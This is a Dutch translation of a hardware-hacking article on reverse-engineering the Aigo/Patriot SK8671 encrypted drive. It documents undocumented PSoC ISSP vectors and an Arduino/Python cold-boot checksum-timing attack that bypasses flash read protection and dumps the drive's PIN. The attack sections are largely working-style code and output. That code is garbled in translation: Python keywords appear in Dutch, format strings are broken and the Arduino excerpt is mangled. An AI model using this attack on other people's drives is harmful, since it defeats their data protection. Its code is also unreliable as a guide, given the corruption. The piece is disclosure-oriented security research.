Dit is het tweede en laatste deel van het artikel over het hacken van externe zelfversleutelingsschijven. Ik herinner me dat een collega me onlangs een Patriot (Aigo) SK8671 harde schijf heeft gegeven en ik besloot deze te reverse-engineeren, en nu deel ik wat daaruit gekomen is. Voordat je verder leest, zorg ervoor dat je bekend bent met van het artikel gaan.

4. We beginnen met het maken van een dump van de interne flash van de PSoC
Dus, alles wijst erop dat (zoals we in [het eerste deel] vastgesteld hebben), de pincode wordt opgeslagen in de flash-onderdelen van de PSoC. Daarom moeten we deze flash-onderdelen lezen. De vereiste stappen zijn:
- de "communicatie" met de microcontroller onder controle krijgen;
- een manier vinden om te controleren of deze "communicatie" beschermd is tegen uitlezing van buitenaf;
- een manier vinden om de bescherming te omzeilen.
Er zijn twee plaatsen waar het de moeite waard is om naar een werkende pincode te zoeken:
- interne flash-geheugen;
- SRAM, waar de pincode kan worden opgeslagen ter vergelijking met de pincode die de gebruiker invoert.
Om vooruit te lopen, ik kan toch vermelden dat ik erin geslaagd ben om een dump van de interne flash van de PSoC te maken, door de beschermingssysteem te omzeilen via een hardware-aanval "tracing met koude herstart" - na reverse-engineering van de niet gedocumenteerde mogelijkheden van het ISSP-protocol. Dit stelde me in staat om direct een dump van de actieve pincode te maken.
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Eindprogrammacode:
- ;
- .
5. ISSP-protocol
5.1. Wat is ISSP
"Communicatie" met de microcontroller kan verschillende dingen betekenen: van "vendor to vendor" tot interactie met behulp van een serieprotocol (bijvoorbeeld ICSP voor Microchip's PIC).
Voor Cypress is er een eigen propriëtair protocol, genaamd ISSP (in-system serial programming protocol; intra-systematisch serieprogrammeringsprotocol), dat gedeeltelijk is beschreven in . geeft ook enige informatie. Er is ook een OpenSource-analoog dat HSSP heet (we zullen het daar later voor gebruiken). ISSP werkt als volgt:
- herstart de PSoC;
- stuur het magische nummer naar de pin voor seriële gegevens van deze PSoC; om de externe programmeermodus in te gaan;
- stuur commando's die lange bitreeksen vormen, genaamd 'vectoren'.
In de documentatie van ISSP zijn deze vectoren slechts gedefinieerd voor een handvol commando's:
- Initialize-1
- Initialize-2
- Initialize-3 (opties 3V en 5V)
- ID-SETUP
- READ-ID-WORD
- SET-BLOCK-NUM: 10011111010dddddddd111, waar dddddddd=blok #
- BULK ERASE
- PROGRAM-BLOCK
- VERIFY-SETUP
- READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, waar DDDDDDDD = data out, aaaaaa = adres (6 bits)
- WRITE-BYTE: 10010aaaaaadddddddd111, waar dddddddd = data in, aaaaaa = adres (6 bits)
- SECURE
- CHECKSUM-SETUP
- READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, waar DDDDDDDDDDDDDDDD = data out: controlegetal van het apparaat
- ERASE BLOCK
Bijvoorbeeld, de vector voor Initialize-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Alle vectoren hebben dezelfde lengte: 22 bits. In de documentatie van HSSP zijn er enkele aanvullende details over ISSP: 'ISSP-vector is niets anders dan een bitreeks die een set instructies vertegenwoordigt'.
5.2. Demystificatie van vectoren
Laten we uitzoeken wat hier aan de hand is. Aanvankelijk dacht ik dat deze vectoren raw-variant van M8C-instructies waren, maar na deze hypothese te hebben getest, ontdekte ik dat de opcode's niet overeenkwamen.
Toen heb ik de bovenstaande vector gegoogeld en stuitte op onderzoek, waar de auteur, hoewel niet in detail, enkele nuttige aanwijzingen geeft: 'Elke instructie begint met drie bits die overeenkomen met een van de vier mnemonic (lezen uit RAM, schrijven naar RAM, lezen register, schrijven register). Vervolgens komt er een 8-bits adres, daarna 8 bits data (gelezen of voor schrijven) en ten slotte drie stop-bits.'
Vervolgens kon ik zeer nuttige informatie halen uit het gedeelte 'Supervisory ROM (SROM)' . SROM is een hard-coded ROM in de PSoC, die servicefuncties biedt (op een soortgelijke manier als Syscall), – voor de programmatuur die in de gebruikersruimte draait:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: CheckSum
- 08h: Calibrate0
- 09h: Calibrate1
Door vector namen te vergelijken met SROM-functies, kunnen we verschillende operaties die door dit protocol worden ondersteund, koppelen aan de verwachte SROM-parameters. Hierdoor kunnen we de eerste drie bits van de ISSP-vectoren decoderen:
- 100 => “wrmem”
- 101 => “rdmem”
- 110 => “wrreg”
- 111 => “rdreg”
Echter, een volledig begrip van de interne chipprocessen kan alleen worden verkregen door directe communicatie met de PSoC.
5.3. Communicatie met PSoC
Aangezien Dirk Pietrautski al Houd er rekening mee dat ik tijdens mijn onderzoek de code van Dirk aanzienlijk heb gewijzigd. Mijn aanpassing is te vinden op GitHub:
en het bijbehorende Python-script voor communicatie met Arduino in mijn repository cypress_psoc_tools .
Daarna heb ik enkele eenvoudige vectoren gemaakt voor het schrijven en lezen van geheugen/registers. Houd er rekening mee dat we de hele SROM kunnen lezen, zelfs als de flash beschermd is!
5.4. Identificatie van interne chipregisters
Door naar de 'gedisassembleerde' vectoren te kijken, ontdekte ik dat het apparaat niet-gedocumenteerde registers (0xF8-0xFA) gebruikt om M8C-opcodes aan te geven, die rechtstreeks worden uitgevoerd, om de bescherming heen. Dit stelde me in staat om verschillende opcodes uit te voeren, zoals 'ADD', 'MOV A, X', 'PUSH' of 'JMP'. Door naar de bijwerkingen te kijken die ze op de registers hebben, kon ik bepalen welke van de niet-gedocumenteerde registers daadwerkelijk gewone registers zijn (A, X, SP en PC).
Uiteindelijk ziet de 'gedisassembleerde' code, gegenereerd door het HSSP_disas.rb-hulpmiddel, er als volgt uit (ter verduidelijking heb ik commentaar toegevoegd):
Uiteindelijk ziet de "gedisassembleerde" code, gegenereerd door het HSSP_disas.rb hulpmiddel, er als volgt uit (voor de duidelijkheid heb ik opmerkingen toegevoegd):
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # reset flags
[DE C0 1C] wrreg SP (f6), 0x00 # reset SP
[9F 07 5C] wrmem KEY1, 0x3A # mandatory argument for SSC
[9F 20 7C] wrmem KEY2, 0x03 # similarly
[DE A0 1C] wrreg PCh (f5), 0x00 # reset PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... up to 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM pointer for output data
[DF 26 1C] wrreg opc1 (f9), 0x30 # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID for SSC call
[DE 00 DC] wrreg A (f0), 0x06 # number "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Opcode for SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Undocumented operation: execute external opcode
5.5. Beschermingsbits
Op dit moment kan ik al communiceren met de PSoC, maar ik heb nog steeds geen betrouwbare informatie over de beschermingsbits van het flashgeheugen. Ik was zeer verrast door het feit dat Cypress de gebruiker van het apparaat geen middelen biedt om te controleren of de bescherming is geactiveerd. Ik dook dieper in Google om uiteindelijk te begrijpen dat de HSSP-code, verstrekt door Cypress, al was bijgewerkt nadat Dirk zijn modificatie had uitgebracht. En daar was het! Een nieuwe vector verschenen:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # onbekende argumenten
[9F E0 1C] wrmem 0xFF, 0x00 # hetzelfde
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # niet gedocumenteerde syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Door gebruik te maken van deze vector (zie read_security_data in psoc.py), krijgen we alle beschermingsbits in SRAM op 0x80, waar elke beschermde blok twee bits heeft.
Het resultaat is teleurstellend: alles is beschermd in de modus "extern lezen en schrijven uitschakelen". Daarom kunnen we niet alleen niets van de flash lezen, maar ook niet schrijven (bijvoorbeeld om daar een ROM-dumper in te bouwen). En de enige manier om de bescherming uit te schakelen is om de chip volledig te wissen. 🙁
6. Eerste (mislukte) aanval: ROMX
We kunnen echter proberen de volgende truc uit te voeren: aangezien we de mogelijkheid hebben om willekeurige opcodes uit te voeren, waarom zouden we dan niet ROMX uitvoeren, dat wordt gebruikt voor het lezen van flashgeheugen? Deze aanpak heeft een redelijke kans op succes. De functie ReadBlock, die gegevens uit SROM leest (dat door vectoren wordt gebruikt), controleert of ze wordt aangeroepen vanuit ISSP. De opcode ROMX heeft echter vermoedelijk geen dergelijke controle. Hieronder staat de Python-code (na het toevoegen van enkele hulpklassen aan de C-code van Arduino):
voor i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX leest ROM[A|X] in A
print "x" % ord(byte[0]) # print ROM byteHelaas werkt deze code niet. 🙁 Eigenlijk werkt die wel, maar we krijgen onze eigen opcodes (0x28 0x30 0x40) als output! Ik denk niet dat de bijbehorende functionaliteit van het apparaat een beschermingsmechanisme tegen lezen is. Het lijkt meer op een technische truc: bij het uitvoeren van externe opcodes wordt de ROM-bus omgeleid naar een tijdelijke buffer.
7. Tweede aanval: tracing met koude herstart
Aangezien de truc met ROMX niet werkte, begon ik na te denken over een andere variant van deze truc - beschreven in een publicatie .
7.1. Implementatie
In de documentatie bij ISSP staat de volgende vector voor CHECKSUM-SETUP:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Hier wordt in essentie de SROM-functie 0x07 aangeroepen, zoals weergegeven in de documentatie (cursief mijn toevoeging):
Deze functie controleert de checksum. Het berekent een 16-bits checksum van het aantal blocks dat door de gebruiker is opgegeven - in één flash-bank, beginnend bij nul. De parameter BLOCKID wordt gebruikt om het aantal blocks door te geven dat zal worden gebruikt bij het berekenen van de checksum. Een waarde van '1' zal de checksum alleen voor het nulblock berekenen; terwijl ‘0’ ervoor zorgt dat de totale checksum van alle 256 blocks van de flash-bank wordt berekend. De 16-bits checksum wordt teruggegeven via KEY1 en KEY2. In parameter KEY1 worden de onderste 8 bits van de checksum vastgelegd, en in KEY2 de bovenste 8 bits. Voor apparaten met meerdere flash-banken wordt de checksum-functie voor elke bank afzonderlijk uitgevoerd. Het banknummer waarmee het zal werken, wordt vastgesteld via het register FLS_PR1 (door de bit die overeenkomt met de doel-flash-bank in te stellen).
Merk op dat dit een eenvoudige checksum is: de bytes worden gewoon één voor één bij elkaar opgeteld; geen gecompliceerde CRC-kunsten. Bovendien, wetende dat in de M8C-kern de registerset heel klein is, veronderstelde ik dat bij het berekenen van de checksum de tussenresultaten zouden worden opgeslagen in dezelfde variabelen die uiteindelijk als output gaan: KEY1 (0xF8) / KEY2 (0xF9).
Dus, in theorie ziet mijn aanval er als volgt uit:
- We verbinden via ISSP.
- We starten de berekening van de checksum met behulp van de CHECKSUM-SETUP-vector.
- We herstarten de processor na een bepaalde tijd T.
- We lezen RAM om de huidige checksum C te verkrijgen.
- We herhalen stappen 3 en 4, en verhogen telkens een beetje T.
- We herstellen de gegevens van de flash door de vorige checksum C van de huidige af te trekken.
Echter, er deed zich een probleem voor: de Initialize-1-vector die we na de herstart moeten verzenden, overschrijft KEY1 en KEY2:
1100101000000000000000 # Magie die PSoC in programmeermodus zet
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # de checksum wordt hier overschreven
[9F 20 7C] wrmem KEY2, 0x03 # en hier
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # SROM-functie 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Deze code overschrijft onze waardevolle checksum door Calibrate1 (SROM-functie 9) aan te roepen... Misschien kunnen we, gewoon door het magische nummer te verzenden (uit het begin van de bovenstaande code), in de programmeermodus komen en vervolgens SRAM lezen? En ja, dat werkt! De Arduino-code die deze aanval implementeert is vrij eenvoudig:
case Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())< 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay00;
}
else {
ms_delay = 0;
}
send_checksum_v();
if(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- Lees checkum_delay.
- Start de berekening van de checksum (send_checksum_v).
- Wacht een bepaalde tijd; rekening houdend met de volgende valkuilen:
- ik heb enorm veel tijd verdaan voordat ik ontdekte dat alleen correct werkt met vertragingen die niet langer zijn dan 16383 µs;
- en vervolgens heb ik weer net zoveel tijd verdaan voordat ik ontdekte dat delayMicroseconds, als je 0 invoert, volledig verkeerd werkt!
- Herstart de PSoC in programmatormodus (stuur gewoon een magisch getal, zonder initialisatievectoren te versturen).
De definitieve code in Python:
voor delay in range(0, 150000): # vertraging in microseconden
voor i in range(0, 10): # aantal uitlezingen voor elke vertraging
probeer:
reset_psoc(quiet=True) # herstart en ga naar programmeermodus
send_vectors() # verzend initialisatie vectoren
ser.write("x85"+struct.pack(">I", delay)) # bereken checksum + herstart na vertraging
res = ser.read(1) # lees arduino ACK
behalve Exception als e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # open seriële poort
blijf gaan
print "d X X X" % (delay, # lees RAM-bytes
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))In het kort, wat deze code doet:
- Herstart de PSoC (en stuurt hem een magisch getal).
- Stuurt volledige initialisatievectoren.
- Roep de Arduino-functie Cmnd_STK_START_CSUM (0x85) aan, waarbij de vertraging in microseconden als parameter wordt meegegeven.
- Leest de checksum (0xF8 en 0xF9) en de niet-gepubliceerde register 0xF1.
Deze code wordt 10 keer uitgevoerd in 1 microseconde. 0xF1 is hierin opgenomen, omdat het het enige register was dat veranderde bij het berekenen van de checksum. Dit kan een soort tijdelijke variabele zijn die door de rekenkundige logica wordt gebruikt. Let op de lelijke hack die ik gebruik om de Arduino te herstarten met picocom, wanneer de Arduino geen tekenen van leven meer vertoont (ik heb geen idee waarom).
7.2. Lees het resultaat
Het resultaat van het Python-script ziet er als volgt uit (vereenvoudigd voor leesbaarheid):
VERTRAAG F1 F8 F9 # F1 – hierboven genoemde onbekende register
# F8 laagste byte van de controle som
# F9 hoogste byte van de controle som
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # controle som wordt naar 0 gereset
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1e byte: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2e byte: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # geen idee wat hier gebeurt
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Weer E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Hmmmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # Ah, ik snap het! Hier is de overdracht naar de hoogste byte
00063 01 17 01
[...]
00075 CC 17 01 # Dus, 0x117-0xE7: 0x30We hebben echter een probleem: aangezien we met de daadwerkelijke controle som werken, verandert de nul byte de gelezen waarde niet. Maar omdat de hele procedure voor de berekening (8192 bytes) 0,1478 seconden duurt (met kleine afwijkingen bij elke uitvoering), wat ongeveer 18,04 μs per byte is, kunnen we deze tijd gebruiken om de waarde van de controle som op geschikte momenten te controleren. Tijdens de eerste runs is alles vrij eenvoudig te lezen, omdat de uitvoeringstijd van de berekeningsprocedure altijd bijna hetzelfde is. Aan het einde van deze dump is het echter minder nauwkeurig, omdat de "onbeduidende tijdsafwijkingen" bij elke run optellen en significant worden:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDDit zijn 10 dumps voor elke microseconde vertraging. De totale tijd voor het opnemen van de dump van alle 8192 bytes van de flash is ongeveer 48 uur.
7.3. Herstel van de flash-binaire code
Ik ben nog niet klaar met het schrijven van de code die de software code van de flash volledig reconstruëert, rekening houdend met alle tijdsafwijkingen. Maar het begin van deze code heb ik al hersteld. Om te controleren of ik dit correct heb gedaan, heb ik het geassembleerd met behulp van m8cdis:
0000: 80 67 jmp 0068h ; Reset vector
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Paging mode changed from 3 to 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f retDat ziet er heel geloofwaardig uit!
7.4. We vinden het adres voor het opslaan van de pincode
Nu we de controlewaarde op de juiste momenten kunnen uitlezen, kunnen we eenvoudig controleren hoe en waar deze verandert wanneer we:
- een onjuiste pincode invoeren;
- de pincode wijzigen.
Eerst, om een schatting te maken van het opslagadres, heb ik een dump van de controlewaarde genomen met een interval van 10 ms, na een herstart. Vervolgens voerde ik een onjuiste pincode in en deed hetzelfde.
Het resultaat was niet erg prettig, want er waren veel veranderingen. Maar uiteindelijk ontdekte ik dat de controlewaarde ergens tussen 120000 µs en 140000 µs vertraging was veranderd. Maar de 'pincode' die ik daar vond, was absoluut verkeerd - door het artefact van de delayMicroseconds-procedure, die vreemde dingen doet wanneer 0 eraan wordt doorgegeven.
Na bijna 3 uur te hebben besteed, herinnerde ik me dat de SROM-systeemaanroep CheckSum een argument ontvangt dat het aantal blokken voor de controlewaarde specificeert! Dus kunnen we het opslagadres van de pincode en de 'onjuiste pogingen'-teller met gemak lokalizeren, tot op 64-byte blokken.
Mijn eerste runs gaven het volgende resultaat:

Vervolgens heb ik de pincode veranderd van '123456' naar '1234567' en kreeg:

Dus de pincode en de teller voor onjuiste pogingen lijken opgeslagen te zijn in blok nummer 126.
7.5. We nemen een dump van blok nummer 126
Blok nummer 126 zou ergens rond de 125x64x18 = 144000 µs moeten liggen, vanaf het begin van de berekening van de controlewaarde, in mijn volledige dump, en het ziet er heel geloofwaardig uit. Vervolgens, na handmatig een aantal onjuiste dumps te filteren (vanwege 'onbelangrijke tijdsafwijkingen'), kreeg ik uiteindelijk deze bytes (bij een vertraging van 145527 µs):

Het is duidelijk dat de pincode in ongecodeerde vorm wordt opgeslagen! Deze waarden zijn misschien niet in ASCII-codes geschreven, maar zoals het blijkt, weerspiegelen ze metingen van het capacitieve toetsenbord.
Eindelijk heb ik nog een paar tests uitgevoerd om te ontdekken waar de teller voor onjuiste pogingen wordt opgeslagen. Dit is het resultaat:

0xFF betekent '15 pogingen' en dit vermindert bij elke onjuiste poging.
7.6. Herstel van de pincode
Hier is mijn lelijke code die alles hierboven samenvat:
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
voor delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum-last_csum)&0xFF
print "d x (x) => x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
voor i in range(0, len(pin_bytes)):
als pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
printDit is het resultaat van de uitvoering:
$ .\/psoc.py
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9Hoera! Het werkt!
Let op, de vertragingstijden die ik heb gebruikt, zijn waarschijnlijk alleen relevant voor één specifieke PSoC – degene die ik gebruikt heb.
8. Wat nu?
Laten we dus de balans opmaken aan de PSoC-zijde, in de context van onze Aigo-opslag:
- we kunnen SRAM lezen, zelfs als het beschermd is tegen lezen;
- we kunnen de leescherming omzeilen door middel van een cold-boot traceer aanval en het rechtstreeks uitlezen van de pincode.
Toch heeft onze aanval enkele tekortkomingen – door synchronisatieproblemen. Het zou als volgt verbeterd kunnen worden:
- een hulpprogramma schrijven voor het correct decoderen van de uitvoergegevens die zijn verkregen als resultaat van de cold-boot traceeraanval;
- een FPGA-implementatie gebruiken om nauwkeurigere vertragingstijden te creëren (of hardware-timers van Arduino gebruiken);
- probeer nog een aanval: voer een waarlijk onjuiste pincode in, herstart en dump de RAM, in de hoop dat de juiste pincode is opgeslagen in de RAM voor vergelijking. Maar op de Arduino is dat niet zo eenvoudig, omdat het signaalniveau van de Arduino 5 volt is, terwijl het bord dat we onderzoeken werkt met signalen van 3,3 volt.
Een interessante optie die je zou kunnen proberen, is het spelen met het spanningsniveau om de leesbescherming te omzeilen. Als deze aanpak zou werken, zouden we absoluut nauwkeurige gegevens van de flashdrive kunnen verkrijgen, in plaats van afhankelijk te zijn van het lezen van de controlesom met onnauwkeurige tijdvertragingen.
Aangezien de SROM waarschijnlijk beschermende bits leest via de systeemoproep ReadBlock, zouden we hetzelfde kunnen doen als in de blog van Dmitry Nedospasov - een herimplementatie van Chris Gerlinski's aanval, aangekondigd op de conferentie .
Nog iets grappigs dat je zou kunnen doen, is de behuizing van de chip slijpen: om een dump van de SRAM te maken, ongedocumenteerde systeemoproepen en kwetsbaarheden te ontdekken.
9. Conclusie
Dus de beveiliging van deze opslag laat te wensen over, omdat deze voor het opslaan van de pincode een gewone (niet ‘geharde’) microcontroller gebruikt… Bovendien heb ik nog niet gekeken (tot nu toe) hoe het met de gegevensversleuteling op dit apparaat is gesteld!
Wat zou je voor Aigo kunnen aanbevelen? Na het analyseren van een paar modellen van versleutelde HDD's heb ik in 2015 een op SyScan gemaakt, waarin ik de beveiligingsproblemen van verschillende externe HDD's besprak en aanbevelingen deed voor verbeteringen. 🙂
Voor dit onderzoek heb ik twee weekenden en enkele avonden besteed. In totaal ongeveer 40 uur. Van het begin (toen ik de schijf opende) tot het einde (de dump van de pincode). Deze 40 uur omvatten ook de tijd die ik heb besteed aan het schrijven van dit artikel. Het was een boeiende reis.
Bron: habr.com
